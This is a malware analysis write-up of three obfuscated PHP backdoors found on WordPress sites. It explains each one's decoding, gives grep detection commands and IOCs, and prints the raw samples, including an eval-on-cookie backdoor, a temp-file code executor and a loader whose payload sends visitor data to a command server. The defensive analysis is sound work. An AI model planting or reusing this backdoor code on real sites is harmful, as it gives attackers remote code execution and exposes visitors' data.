These three PHP backdoors use random comments and segmented strings to make their code harder to read. The comments don’t affect how PHP executes the files, but they can break up the strings that a signature based malware scanner is looking for.

For example, a function name can be split between quoted characters, chr() calls, and arithmetic - with comments added between each part.

All of that extra code still has to produce something PHP can execute. Removing the obfuscation makes it much easier to see what the attacker actually wants the file to do.

The samples appear to share an obfuscation toolkit, but they don’t all have the same purpose:

FileCollectedPurpose
1.phpJan 2025Executes PHP code submitted through a cookie or POST field
themes.phpJan 2025Returns PHP version information or executes code through a temporary file
index.phpAug 2024Loads an encrypted payload that requests redirects or page content from a remote server

I decoded the three files without executing their payloads. For 1.php and themes.php, I also tested the request decoding with the code execution and file writing replaced by print statements.

Obfuscation With PHP Comments#

The first line of 1.php is a good example of how much extra text gets added to a simple assignment:

$kBZnIrc =/*  NOSj */'s'/*KnWsD  */.	't'    .     "\162"/* OURH  */.	chr/*  miRBm */(95)/*  LpSOU */.   "\x72" .  chr    (101)   .	'p'	.	"\145"   ./*   LnDIg*/'a'/*   j  */.	"\164";

This line assigns the function name str_repeat to $kBZnIrc.

The attacker has split the name into individual characters and mixed together several ways of representing them. "\162" is an octal representation of r, "\x72" is its hexadecimal representation, and chr(95) returns an underscore.

Other lines add arithmetic to the chr() calls. For example, chr(867 - 759) is just chr(108), which returns l.

The random comments, tabs, and spaces make these assignments annoying to read, but they don’t change the resulting function names. After removing them and combining the strings, the first line becomes:

$kBZnIrc = 'str_repeat';

I used a small lexer to combine these expressions while keeping quoted strings intact. This matters because a comment marker inside a string is part of the string’s value.

Interestingly, the obfuscator seems to get this wrong in themes.php. It added a comment inside date('Y-m-d /*dx_ */ H:i:s'), which changes the date format instead of adding a PHP comment.

1.php - Executing Code From Cookies And POST Data#

Below is the backdoor after removing the obfuscation and renaming the variables. The fixed secret has been redacted:

$f1 = 'str_repeat'; $f2 = 'explode'; $f3 = 'count'; $f4 = 'pack';
$decoyA = array('UHJYLWdAyak' => 'BiifcnjdyRhUuHrBZwMButVt');
$decoyB = array('dlxdnTBEcy' => 'stEfxwEYBLkoKkbCNqYANM');
foreach (array($decoyA, $_COOKIE, $decoyB, $_POST, $decoyA) as $source) {
    foreach ($source as $name => $value) {
        $value = @pack('H*', $value);
        $name .= '[REDACTED]';
        $name  = str_repeat($name, (strlen($value) / strlen($name)) + 1);
        $plain = $value ^ $name;
        $parts = explode('#', $plain);
        if (count($parts) == 3) {
            $code = $parts[1]($parts[2]);
            eval($code);
            die();
        }
    }
}

The backdoor loops through $_COOKIE and $_POST, along with two arrays of junk data. Each submitted value is passed to pack('H*', $value) to convert it from hexadecimal to binary.

The field name is then combined with a secret stored in the file. That combined string is repeated until it is long enough to XOR against the submitted value.

The decoded result is split using explode('#', $plain). If there are exactly three parts, the second part is used as a function name and the third part is passed to that function. Its return value is then executed by eval().

For example, the decoded data could contain <anything>#base64_decode#<payload>. In that case, the supplied payload is base64 decoded before being passed to eval().

The function name is supplied by the attacker, so it isn’t limited to base64_decode. Using file_get_contents with a URL could instead retrieve the PHP payload from another server.

The cookie or POST field name is part of the XOR key. This means the attacker can change the field name and encode the request to match it - blocking one particular cookie name wouldn’t prevent access to the backdoor.

The fixed secret is still needed to construct a valid request. Normal cookies and form submissions won’t usually decode into the three parts expected by the backdoor.

In the modified test copy, a request encoded with the correct secret printed the expected PHP payload. Requests using the wrong secret, and ordinary form fields, produced no payload output.

PHP Error Logs#

There is also a possible clue in the PHP error log. The repeat count passed to str_repeat() can be a fractional number. On PHP 8.1 and later, converting a float to an integer when precision is lost can produce this deprecation message:

Implicit conversion from float ... to int loses precision

Depending on the submitted values and logging configuration, normal requests can therefore leave repeated messages pointing to line 17 of this sample. It isn’t proof of a backdoor by itself, but it gives you a file to investigate.

themes.php - Using A Temporary File Instead Of eval#

This sample starts by obfuscating the function name chr:

$_uvbns = '_uvbns' ^ '<\x1d\x04';

The second string contains the bytes 0x3C 0x1D 0x04. A text editor may only visibly display the < character, but the other two bytes are still there.

XORing this string with _uvbns produces chr. The variable $_uvbns can then be called as a function to build the other strings used by the backdoor.

Decoding The Request#

Each cookie and POST value goes through base64 decoding, two XOR operations, and unserialize(). The decoding can be summarized as:

$data = unserialize( xor( xor( base64_decode($value), $KEY ), $name ) );

$KEY is a fixed GUID-shaped string, which I’ve redacted from the sample. $name is the cookie or POST field name.

The decoded data needs to be a serialized PHP array containing a key named ak. The value of a determines which action is performed:

ActionResult
iReturns the PHP version as pv and the value 3.5 as sv in a serialized array
eWrites the code supplied in d to a temporary .pl file, loads it with include, and deletes the file

The sv value looks like a backdoor version number, but the file only establishes that it returns the string 3.5. After processing a valid command, the backdoor calls exit().

Why Use A .pl File?#

The temporary file contains PHP code even though its name ends in .pl. PHP’s include can execute that code regardless of the filename extension.

This avoids calling eval() and can also avoid scanners that only inspect files ending in .php. I’ve covered a similar use of temporary files in the DarkClownSecurity web shell.

The file begins with <?php unlink(__FILE__); , followed by the PHP code submitted by the attacker. This deletes the temporary file before the submitted code runs. The calling function also attempts to delete it after include returns.

Its name comes from the MD5 of the fixed key, so this sample uses the same filename each time:

./7b8dbccab28067cbcc3793a51c426aae.pl

The payload doesn’t need to stay on disk after PHP has loaded it. Finding and deleting the temporary file would still leave the original themes.php backdoor available to the attacker.

Test Results#

I tested the decoding with file writing and include replaced by print statements.

The information request returned a:2:{s:2:"pv";s:6:"8.5.12";s:2:"sv";s:3:"3.5";}. The PHP version in this response came from the test environment.

A code execution request containing echo "fake payload"; showed that the backdoor would write to ./7b8dbccab28067cbcc3793a51c426aae.pl and load that file.

Ordinary cookie and POST values also reached unserialize(), but failed to decode into valid serialized data. This produced warnings like unserialize(): Error at offset 0 of N bytes.

As with the first sample, repeated warnings from an unfamiliar PHP file can help identify it on an infected website.

index.php - Fake WordPress Comments#

The third sample uses much larger comments. Around 12 KB of the 21 KB file consists of 22 comment blocks filled with random dictionary words.

They include fake variable assignments like * $kfdndcf = adhere architecture authority auxiliary comparable negative; and all end with @package WordPress.

At a glance, these could be mistaken for WordPress documentation comments. The actual loader is a small class between them:

$qhgucfcfx = new wujzjues('ab%oboo&xscj70k^6e_onqd461r0h');

The string passed to the class is used as both a decryption key and a lookup table for function names. For example, '3*26*22' selects characters 3, 26, and 22 from the string to construct ord. Other values produce chr and base64_decode.

The loader combines sixteen encoded strings, decodes them, and XORs the result with the key. The decrypted PHP code is then executed with EvAl($decrypted).

The mixed capitalization works because PHP treats this language construct case-insensitively. A case-sensitive search for eval( could miss it.

Since the key is included in the file, I was able to decrypt the payload offline without running PHP. The result was 5,014 bytes of readable PHP code.

Redirects And Remote Page Content#

The payload constructs its remote URL by taking every fifth character from another string:

hxnxmtuosbtcdopp pqw:zxdp/ldin/xqenbxalpeuphwmxxdpoizklkeypfudlangbxe ...  ->  http://bemokug.com/gamebx240730/api2302.php

For each request to the infected page, the payload sends json_encode($_SERVER) to this URL in a POST field named iamuqtiph. This exposes request information such as the visitor’s IP address, user-agent, requested URL, and referrer, where present in $_SERVER.

It then looks for a <filter>...</filter> block in the response, making up to two attempts. The contents are base64 decoded, decompressed with gzinflate, and read as JSON.

Each JSON key becomes a PHP variable through $$key = $value. Two of those variables control what the visitor receives:

  • $gwemwlrsc is passed to the HTTP header function. A Location: header could redirect the visitor to another website.
  • $vuhtxzddu is printed as the page content, after which the payload exits.

This lets the remote server decide whether to redirect a visitor, replace the page content, or leave the normal page alone. It can be used for cloaking, where the malicious content is shown only to selected visitors.

I didn’t retrieve a response from the server, so I can’t confirm what content it would have supplied. The gamebx name and 240730 in the URL may relate to the campaign. The latter resembles July 30, 2024, around two weeks before the sample was collected, but that alone doesn’t establish its purpose.

There is also a ?debug=1 option that prints the remote URL and decoded response before exiting. This still contacts the remote server - it isn’t an offline decoding option.

bemokug.com#

The registry and public DNS lookup recorded for the domain returned:

DomainRegisteredRegistrarResolves to
bemokug.com2022-10-13PublicDomainRegistry.com69.197.156.218 (WholeSale Internet, Inc., US)

These lookups didn’t require contacting the malicious server. The registration date predates the sample, although that doesn’t establish who controlled the domain when the file was deployed.

Finding These Files On An Infected Website#

The comments provide a useful way to look for these samples without relying on the decoded function names.

The two smaller backdoors contain 55 and 79 short comments made up of a single word. When I compared this pattern against the 988 PHP files in WordPress 6.6’s wp-includes and wp-admin, the highest count was 2. A threshold of 15 didn’t match any files in that clean core set:

for f in $(find wp-content -name '*.php'); do n=$(grep -oE '/\*[[:space:]]*[A-Za-z0-9_]{1,8}[[:space:]]*\*/' "$f" | wc -l); [ "$n" -ge 15 ] && echo "$n $f"; done

The larger index.php loader has 51 fake variable assignments inside comments. This pattern didn’t match any of the same clean WordPress files:

grep -rlE '^\s*\* \$[a-z]{4,12} = [a-z ]+;\s*$' --include='*.php' wp-content/

These results only cover that WordPress core comparison. Plugins, themes, and other applications may produce different results, so inspect any matching file before removing it.

Other things to check include:

  • A case-insensitive search for eval, such as grep -rliE '\beval\s*\('. There are legitimate uses in WordPress, so a match needs further review.
  • Unexpected .pl files in the website directories. The filename 7b8dbccab28067cbcc3793a51c426aae.pl is associated with this themes.php sample, although it may disappear before a scan finds it.
  • Repeated float-to-integer deprecation messages or unserialize() warnings from an unfamiliar file.
  • Outbound requests from the web server to bemokug.com.

Compare suspicious files with a clean copy of the plugin, theme, or WordPress version they claim to belong to. A familiar filename like index.php doesn’t mean its contents are legitimate.

Removing the visible backdoor also doesn’t establish that the attacker has lost access. Check for other injected files and unexpected administrators in wp_users, and rotate the affected credentials as part of the cleanup.

IOCs#

1.php       sha256 ca32ab4ee05cdd944636341fa6c53471f6d45c357f7390713c2a89dde2b8214e
  secret    sha256 26feb8b959ddb3ff8840e6c41cc1b136f7b18e6c979fe0de7689388b36b536f2   (value redacted)
  decode:   hex -> XOR(field name + secret) -> explode('#') == 3 parts -> parts[1](parts[2]) -> eval
themes.php  sha256 d0f06bad629268a772169b7e0944368bbd96bbf354a9ba574877e960cc931638
  key       sha256 4f13f38abbc79361df4f666972a9d38cc0373e0487d357061e95fba19f722eb2   (value redacted)
  temp file ./7b8dbccab28067cbcc3793a51c426aae.pl   (md5 of the key; exists briefly)
  reply     a:2:{s:2:"pv";s:<n>:"<php version>";s:2:"sv";s:3:"3.5";}
  fields    serialized array with keys ak, a ("i" or "e"), d
index.php   sha256 de2c734cbe79890fdccce3650f32fd70218895a19a532e13a7cdb003888080ad
  class     wujzjues, key ab%oboo&xscj70k^6e_onqd461r0h, call EvAl(...)
  C2        http://bemokug.com/gamebx240730/api2302.php   (POST field iamuqtiph; reply in <filter>...</filter>)
  vars      gwemwlrsc (header), vuhtxzddu (body), ?debug=1

Samples#

1.php (secret redacted)
<?php	$kBZnIrc =/*  NOSj */'s'/*KnWsD  */.	't'    .     "\162"/* OURH  */.	chr/*  miRBm */(95)/*  LpSOU */.   "\x72" .  chr    (101)   .	'p'	.	"\145"   ./*   LnDIg*/'a'/*   j  */.	"\164";
				$uLUnCaIvC     =   "\x65"	.	"\x78"/*   cyE   */.	"\x70"   ./*RSTrM */chr (/* vhHMc  */867    -/*k  */759	).chr   (	611/*  dTdP*/-	500/*  a */)."\144"   .	chr/*   HeTq*/( 923	-    822/* vOrrQ */);


$PMnPPGn   =/*mgA*/chr	(99)  .     "\157"     ./* xirS*/chr/*  QrY   */(117)   . "\x6e"	.	"\164";
				$RbUNZQb/* AQ */=     chr   (/*ZrUZJ  */206   -/*   W */94 ).chr (/*OncqJ */940/*hxAw  */- 843	).chr  (99)	.    chr/*   zKJC*/(	276/* hU  */-	169/*   zMC   */);
 $aFhCiC	=/*  btzfm */Array/*   i   */(	"UHJYLWdAyak"	=>	"BiifcnjdyRhUuHrBZwMButVt"	);


/* VP */$sJUbsiGSDZ	=/*PO  */Array	(     "dlxdnTBEcy"	=>    "stEfxwEYBLkoKkbCNqYANM"    );
   foreach	(	Array(  $aFhCiC,	$_COOKIE,/* wA  */$sJUbsiGSDZ,     $_POST,  $aFhCiC)    as	$FCWWVmH)    {
     /*   Jzmx*/foreach/*  vJnAy */(	$FCWWVmH	as	$pbbXN   =>   $pdHsNet	)	{


/*rZI   */$pdHsNet    =  @$RbUNZQb(     "\x48" .  "\x2a",/*  cu   */$pdHsNet/*   fdd   */);
		/*MdY  */$pbbXN	.=	"[REDACTED]";
			 $pbbXN   =/*vzGgg  */$kBZnIrc	(	$pbbXN, ( strlen(/* oXB*/$pdHsNet/* m*/)/strlen( $pbbXN/* p */)     )/* PEIKy */+	1);
     $oiVbsZP =/* Vzkjj */$pdHsNet/* Iy*/^   $pbbXN;
    	$dlRngFJhn/*  TzZw */= $uLUnCaIvC    (/*  Hs */chr	(	817  -    782/*xZAp  */),  $oiVbsZP/* PfaE  */);
   if	(	$PMnPPGn	(     $dlRngFJhn/*  oBD   */)	==	3/* PmHn   */)	{
  	$CTpuNoap/*  XKH  */=    $dlRngFJhn[1];
  	$ccFFGt   =/* gNKCl*/$dlRngFJhn[2];
			   $sJYgtTc  =	$CTpuNoap($ccFFGt);
		  eval/*   MJg  */( $sJYgtTc  );
		/*Cl*/die    ();
   /*p   */}
  	}
		 }
themes.php (key redacted)
<?php $_uvbns       =     '_uvbns'   ^       '<';$j_ywhz /* mmxk_d  */ =	$_uvbns(253-156)    . /*   bh */ "\x72"    .       "\162" /*   ejugxv   */ .	"a".$_uvbns(231-110)    . /* wcq   */ "\137"     . /* gnyo */ "m"."a"."\x70";


$frdvj   = /*   cupy*/ "j"."o".$_uvbns(563-458)     .	$_uvbns(110);



function /*   jm_y   */ qkihp($b__bacddw,  $pvlle)

{

    global /*   znuruk */ $_uvbns;

 /*  bqk   */ 
    $b__bacddw      =    "<"    . /* toae */ "?"."p"."h".$_uvbns(765-653)    . /*  mq_ba   */ $_uvbns(32)    . /*   zhar   */ "u"."\156"    .       $_uvbns(833-725)       .    "\x69"       . /* nkwb   */ $_uvbns(637-527)      .    "\153"       . /*  mqe */ "("."_"."\137"	.     $_uvbns(651-581)    . /*  z*/ $_uvbns(583-510)    .      $_uvbns(76) /*  q_   */ .      "E"."\x5f"	.      "\137" /*grgb  */ .     $_uvbns(41)   . /*  s  */ "\x3b"    . /* x   */ $_uvbns(32)   .  $b__bacddw["d"];    $ejensrze       =	$_uvbns(268-166)    .       "\x69"     .	"l"."e".$_uvbns(95)    .    "\160"     . /*s  */ $_uvbns(117)    .       $_uvbns(116)     .   "\x5f" /*   pdza*/ .    $_uvbns(99) /*   hcaaqi  */ .   "o".$_uvbns(1048-938)      . /* wpa   */ $_uvbns(1063-947)       .     $_uvbns(318-217)     . /*  mf_wk*/ "n".$_uvbns(116)    .    "s";


 /* sdao  */ 
    $ejensrze($pvlle,       $b__bacddw);

 /* ayxxg*/ 

 /* _j*/ alflfl_rpa($pvlle);


}

$xqmeobppxz  =       73;
function    alflfl_rpa($pvlle)


{


      global     $_uvbns;
    
    include($pvlle);
 /*  d  */ $_rwkhesqv    =     $pvlle;


	@unlink($_rwkhesqv);

}



function	gwchc(){

 /* aol*/ global    $_uvbns;

     $begxfb     =   array();

 /*  el */ $begxfb["p"."\166"]       =     phpversion();


 /*  f */ $begxfb["s"."\166"] /*xx*/ =   "\63"    . /*   uoamih   */ "."."\x35";
	$gyqimlt  =   74; /*   ztcz  */ echo    @serialize($begxfb);

}


function /*  v */ nsyvrwfay_($b__bacddw,     $wypmr)

{
 /* tez   */ global     $_uvbns;


 /*fdeu   */ $tjetjrpea    = /*   dciyap   */ "";


       $bmhdm_d	= /*   ibavsp */ strlen($b__bacddw);


	$mwnqwglk    =	strlen($wypmr);

 /*   yysd */ $begxfb /*   gft */ = /* m  */ 0;       $r_rzuwmlbw	=	0;


 /*wvkdvd*/ 

	while   ($begxfb    <    $bmhdm_d) /*e_ut   */ {
    $silzp	=	$b__bacddw[$begxfb]   ^    $wypmr[$r_rzuwmlbw	%	$mwnqwglk]; /* s*/ $tjetjrpea    .=	$silzp;
    $r_rzuwmlbw++;  


 /*  hpu_ */ $begxfb++;

    }


             if /*   _jtv */ (strlen($tjetjrpea)   >     20)    {
 /*  c_yojr*/ $ntytwnb /*   ekzr   */ =	substr($tjetjrpea,   0,       20);
	}


	if /*  awyv */ (empty($tjetjrpea))   {	$tjetjrpea	=  date('Y-m-d /*dx_ */ H:i:s');
    }  return    $tjetjrpea;

}





function     tzaudx($mzdwkbaizk)


{

 /*  sr */ global /*  ozer */ $_uvbns;

	
 /*   i  */ $wffbf = "[REDACTED]";
    

    foreach /* bt  */ ($mzdwkbaizk    as    $hojojlvmic    =>      $b__bacddw)	{
      rnviczpkqb(base64_decode($b__bacddw),    $wffbf,       $hojojlvmic);
       }


}



function    rnviczpkqb($b__bacddw, /*gi  */ $wffbf, /*   br   */ $hojojlvmic){       global    $_uvbns;

    $b__bacddw	=	unserialize(nsyvrwfay_(nsyvrwfay_($b__bacddw,	$wffbf), /*   dsrm  */ $hojojlvmic));


	$_wofxg	=    'm_xeqalkb';
	$rxgyjxzps /* wyyjrh  */ =	'dnqmgvscq';
    if	(isset($b__bacddw["\141".$_uvbns(748-641)]))    {      if    ($b__bacddw["\141"] /*  txm*/ ==  "\151") /*  taiqqq  */ {


     gwchc();

   }       elseif     ($b__bacddw["\141"]      ==    "e")    {


	qkihp($b__bacddw,	sprintf("\x2e"	. /* xzcjm*/ "/"."%"."s".".".$_uvbns(592-480)  . /* nczf*/ "l",     md5($wffbf)));			$eukjii	= /*   hwaq   */ 44;


    }    exit();


    }
}


tzaudx($_POST);    
$gpzpqk /*rh   */ =    Array();


$lzmhj      =     $j_ywhz('rawurldecode', /*immo */ $_POST);
$frdvj($gpzpqk);tzaudx($_COOKIE);


$llogeszmrg /*   amkovc */ =      $j_ywhz('rawurldecode',    $_COOKIE);



?>
index.php (loader with encrypted payload)
<?php
/**
 * arichmetic blast calendar deputy expensive extent motivate radical submerge substantial textile.
 * cope exclaim notify oral welfare.
 * dive equivalent hestiate invade lest merchant powder principal tedious trial.
 * excess exclude fate hatred sensitive stimulate violent.
 * coarse comment essential naked prescribe suspicious tidy.
 * chaos competition hydrogen notion oval particularly render ridge rival vibrate whatsoever.
 * accelerate adhere casual domestic nuisance sophisticated the undertake.
 * $kfdndcf = adhere architecture authority auxiliary comparable negative;
 * appreciate automatic bacteria cargo domestic gratitude infinite register the yawn.
 * @package WordPress
 */

	class wujzjues{

/**
 * $tgqoxcy = adapt adopt retail substance subt welfare;
 * deputy moisture pat volcano.
 * bother negative precaution spur suburb.
 * $xotgsqxi = bundle calendar restrict retail retain tremendous;
 * device golf hence relief venture.
 * @package WordPress
 */

	public $jkglmtfnl = '10*28*26';

/**
 * arichmetic blast calendar deputy expensive extent motivate radical submerge substantial textile.
 * cope exclaim notify oral welfare.
 * dive equivalent hestiate invade lest merchant powder principal tedious trial.
 * excess exclude fate hatred sensitive stimulate violent.
 * coarse comment essential naked prescribe suspicious tidy.
 * chaos competition hydrogen notion oval particularly render ridge rival vibrate whatsoever.
 * accelerate adhere casual domestic nuisance sophisticated the undertake.
 * $kfdndcf = adhere architecture authority auxiliary comparable negative;
 * appreciate automatic bacteria cargo domestic gratitude infinite register the yawn.
 * @package WordPress
 */

	public $jihsnxamrl = array(
'yzhbmf'=>'UFIXXFBUZQlSWWlKHRAIP0IEMwAJUQdRRFQfXwYYQkEGEQwAUxYHQw5eQx8rRAd/CxscFBRTXxFcBxIHBQUNBgFSWB8KAVJcAjZZCjtPHBQXQERYEURIEgdUGgcBDENYAA8DU1VFVBZPf0sNARNZWVodWxkXQhhPAx0MThEHBglDRRk7FgE2HBoEFlYWWxdHDQ1CSwoUCh1SEBYPD0RDSzFEBjcKHQUWVRZFG10KBBAFGQMdBkcaHwZKQV8HK1gRPh0XURNVTgp4EEJBA0YOBgoCTxtTBxheQEs7RRE2Ag8FARRTRx1cHgRCTAISABxDWB4MA0REHixTRS0KHQQJURZCBlkFFA5EGwdBZQZSU0cJU14RM1EQK09TUQFMVV0TWQVBB10bBwEbBhUcFwNBUR87FhUtBgEDDU',
'nnxbtrzx'=>'BPEQFZDw8LQwYBDgFFHVMXBUVEHixTXlVPRFEGVVpSHV4RQQFEGwMDAEFYFhsaW18ZOxYCLQ4aFAJBWhEaVQYCBwUFBxgKSlgAEwZeREspVws7ChxfbhQcEQBVGxENSxwHTw5CDhYRHl5DDjNTCytPDRQWUVteHElIBBpVDgwcBkkWUwQGWFIOfl8BMwpOHQFVWBECQgcHB1YcCwABRxRTExhYQxs7RAwrFk4HBVdDRB8QHwkHVwoDHEEsWFlDC0NEAipDATpPDBQCW0RUGlEGBUJBGhAODUodUwYEQ1geLV8ELAJOHAtAX0cTRA1BD1AbFw4DBhYWAA9EQwIqT0UpChwCDVtYH3gQQkEDQRkHHRtPCxZDC0VfHi1TRToXHhQKR1MRG14OAAxRTxUGG04cAQIdGTpLdBYH',
'wvyfhwivlw'=>'Kh0LEBEUUlQCRRwYQk0WBh0AQR0dQwVFUwM7RREtDk4eFl1TXwYQGAQWVwAOChpLWAcGBERZBDAYb39FTjEUVVVaE1cNQTVKHQY/HUMLAGlKHR9hUzxBKV8YUVkUEVkKXhAMFlAAEQ0bRRwcExoXQBopDB8nCx5eCFBfX11IGQQMRxcDAx9DDQMLHVpIEzpGCjYVBR0PUU9BFEUMDQNLCAAXCgZWEBkHRlNLNVwXMBcMBQ9ZFkIWREcUDFEbBQ0BSBASEQ1aQQYoVQ1/CgcDDkZUVQcQDxkPQwUSXR5OHhlXCEdSAm5UETEXWRQCTFsCHFgMEVJVDAwKQEAXCUMLQ0EaLEYUMBsbGANVX1hAV0gZCRYdDgoVFhwKQwwFQEs5XUsuAhoHFFNXXVJYHEEPTx8UDBZKX0huYB',
'pvcjsorkzw'=>'NGWigWWH8cGgMIUVgZVkZYF0seYmhLAUkPBhEGFw1LeRFeUmUIHhYcElhPAFNBRkxTRhleUENTRwMcG0IlO29/T05RDVIeEVZZSERCEE9fUk8WWFoYZz0QS34WRX9PTlUKW0FEAFxIT18FSxRfGX1cGj5ROjpLfhZFImJkDGk+GRtYOkhLQkQdAQcGUh0QFx9FVUs9WQsuGgsDRFBDQxNSBARCQBwRCgFSERIPSl5DGCtTRTAdDRkBR0JDExAcBAxWCkIbClQKGhcFRUlLKkQMPgNOBRZdV18VXA1BF1cIBwEbCHJTSUpVRQU9XkU6AgEFDVtYERdeHAQQUQ4LAQJDFgdDHlhCHytEAHFlTltEEExHBl0JFkIYTwEAAVIRHRYLWxAPO0UALRkLUQBdRUEeURFBCkAcFgYO',
'uqljpqwad'=>'Uh1TCx9aUgc7Fgg2HB0YC1oWQQBfBQgMQAEWTx9UFwUKGV5fBX5CFz4BHRwNQA07UhpIAAZPGhEbT0UXAQZKU1UIP09FOgEaAx0UW1AVXg0VQkgADgoMUxQWQwRYRAI4T0UvABkVAUYWRRdCBQgMRANCGA5IHBYRRD0QQX5XBjYLThATVURVUlUFDhZMAAwOAwYfAQIEQxADMUURNgMLURVBX0VSQg0GC1YbBx1PVB0AFxhWWQUqFhY3BggFREBEUBxDGA4QUU8UDgFPCxtNYBcaS3pXATQYFwBECRZSHV0YABBEDQ4KT0UXHhMLRVEfN0AAfwoABw1GWVwXXhxBB10MBwoLTxYUDxMXVgooWRc+DQIURF1YVARZHAAASQpCBQpRHR9DBlZDDiwWCToGHQQWUQ07UhpIAg',
'qieouispu'=>'NLCwsLDlIdUwcLQ1FLNl8CNwMHFgxAFkUAVQUDDkBPFA4IUx1daUodEA87VwN/CA8BRFNEUAZVDhQOBQYMGQ5CHVMPD1ZbSzNDESoOAlEUUUJDHVxIERBAHAEdBkQdUxAfREACPV8KMU8YHghBWEUTQhFPaAVFQi8fRxsYAg1SEDwxRAEPHQsCFz4WG106ZWtGU1sUT1IGGQERC04YQmU7b3sZXQdECRZbAV8GPgdLDA0LCg5YVzw5cmI9G2RFdlRje0BCAkcpFwEAD1AeFgYfTl8uQ1cXFB1tQF5SZQgeFhwSWE8AU0FGTFNQVE8CEVhIQ0w9YX4WRX9LGEISFAsREUUaDT1MAQsbRw9DfmlKFxBLPUMXMzAdFBBbRkVaEEwXUVNDQiw6dDQ8Mz5oZTkSGkV7AQEGEUZa',
'lxtbiacg'=>'EVsLZWtCBU9CDBpUFCwQD0NfGyoeRXsZXQdIFHVkIHwnMTZ6JycuK2MqX0MMVlwYOxZMZGJkUUQUFlIHQgQ+EUAbDR8bDlhXFVlBHEsdYzcTID4lO2ZzZSdiJjUwZCExKSp0VFMXGEJVS3cNaFVPTlFEV0NDHm8bBBZKHxZHTwIOQBVGF3M+DHoqDzsxIStnYh1SRBoUBwVGWWJlBlhTQwlCQgcBRQArAB4FTBQSR0FGREEhcD0uID9yJyMsOWN2Iht6IQxDTlUSAEARWwtla0IFT0IMGlQULBAPQ18bKh5FexldB0gUdWQgfCcxNnosLSEhYzsnNyN6dSQLYkl/XF5RTQ87O1IQSEFGU1oUT1IGGwYRBmhVEztVTX9LGEISFB8Kfzpla0IFT0JARQxyU0lKVkIINl8ROg',
'ffbgbzhvqw'=>'waBBZRFlIdXhkUB1dPBhodRxofBkpSQxg7WBE2DgJRDUdFRBcQBxMBTQoRGx1HWAcGBERVSypTFy0GGh4WTRZFAFkJDUJRHQsOAUEUFkMfRVcOMEJLVU9EUQZBWFIaEA0MDVEGDQFPQxYHBhhDUQIwWwAxG04FC0ZCRABVRmtCD09GFRlSFRIUSgoQCDFYETYBGxAIFFJUAVUaFwcFCwscH0oZCkMCUkMfN1cROk8GBAlWWlRSXQESEUwADE8fVBceCgRSXh9+RhcwGQcCDVtYEQZCCQ8RSAYWVGUGUlMCDl1FGCoWBjAdC1EAUVVQCxANDxZXFkICDkEWFhdKWl8HO1UQMwpOHwtAX1cLEBgOFUEKEE8bQwoeCgRWXEspVws7ChxfbhQcERNTAQVCRBgDHQsGHR4MHl5f',
'ryigblphc'=>'BT9aRTgdDx8QFF5eAUQBDQcFHhcGGwYKFgQDREQOLBYXOhwaAwVdWEVSQwAIBFFPFh0OSAsDDBhDEB0/WAwsB0B7RB4WFRNUAxYbVE9fTwxJFQMCGFZSBzsWBjACHhAWVUJYBFVIBAxTBhAAAkMWB0MPT1MOO1IMMQgCCERSV0cdQgkDDkBPCwEKUBEHAghbVUs0UxI6A04dBUdTQ1JcDQgRUB0HVGUGUlMAC1lUAjpXETpPChAQVRZZG1cADQtCBxZPG1QdHgEGUhAdP1EQOkFkUU4UUlQTVkgGA1VPBR0OUh0VFgYXWQUoVwE6TwIUBV8WXAdEHQAOBR8HGx1JFFMTGFJDCCxfBzpPHQQXRF9SG18GQRRKAxcBG0cKCk1gFxpLHkYEPAQPFgEUYV4AVDgTB1YcaE9FCX',
'vokurbgbe'=>'J+aUoXEEs3UEV3T08BFlFRbh9RHAIKDU9FQFNAER8XD0UOQ3AdWnZTMl4CXVpFF0JWTgtWSE5PS1BNBU9KE0ZbKBZMf0Zje0QUFhFSEEhBAUoBFgYBUx1IbmA6Okt+FkV7GVsHRAkWVghZBgcORBsHR09EGQAGXANvDztVCjsKRlFAQgZHKQE1QUsFRlliZStyU0NKFxQdbUBFYk8EAgtaaVUXUwcFBw1PRhlaUFRTFxhCVUt3DWhVZmN7bTk8EVIQSAgEDQYRHApSUFc8LXJkMHlSAD0aCVY5HRYXVBBMPiVgOzlIC0MaBgRNahBWYxZUdhRje2k+FhFSEEhBQgUKAQcABlwdDB1CQgdwFFk9HUFPRhpmeSJvLS4uHmJoT08GWFNDShdVCDZZRXsZWwdfOTwRUhBIQUIF',
'iwhiyjo'=>'TwcXBlJDfmlnPRBLfhYYUmVje0QUFhFdGkJrQg9PAQ4bRxQcBEpUVRk7WwoxFk4VDUdVXgdeHEEGTBwWGh1EWBcWB0cQDjBVCTAcC1EOW19fBhAECAlAAwsHAEkcUxEPREQZN1URfxwLABFRWFIXEBsNC0EKTGVPDFhXABpAXQQ1WQ4uGU5MRFVEUhpZHAQBURoQCk9CEQAXH0VSSzRTEjoDTh8BQlNDBlgNDQdWHEIAHUUQFhAeRVFLKl8IPQocURJVRFgTUgQEQlMADhoBUhkBGkpAURNlPEV1Tw8SBVBTXBtTSAUQTB9CChxSER4CHlIQDihZCSkKThgJRFlCFxAFDgtWGxcdCgYKFhAfWlVLLUIMMhoCEBBRGDtSGkhFAUEBGAIIUwxTXkpSSAgyVwwyTwsJEFFYRV',
'wwvtejdqa'=>'JdBxULUw4WCk9WChoMGF5EEn5FDDgBBxcNV1dfEVVIFQ1XGxcdCh1yU0lKVVEHPVkLJk8NEBBVWl4VEA0ZEkkAEApPQQoSFw9RRQd+XgAxDAtRDlFBVB4QGxEOTBtCGA5IHBYRRD0QQX5EACwfAR8XURZQFkYNExZMHAcCCkgMUwAPRVUGMVgcfwoWAQVaRVgdXkgGDkoNB08GQhQWQwZSUQV+RhcwCQsCF11ZXxNcSBEQShwSCh1PDApDHFZTHitbRSgHCwMBVUUfeBBCQQNRGwsbGkIdUwEPUV8ZO14EMQtOFRFGV1MeVUgEDFEHFxwGRwseQwdYRAIoVxE6TwMEEEFXXVJeDQIHVhwLGxYGDhYRGV5fBXA8RXVPDxUSUURFG0MNQQNXABccCgYdCxMPWUMOfl8LOQ4A',
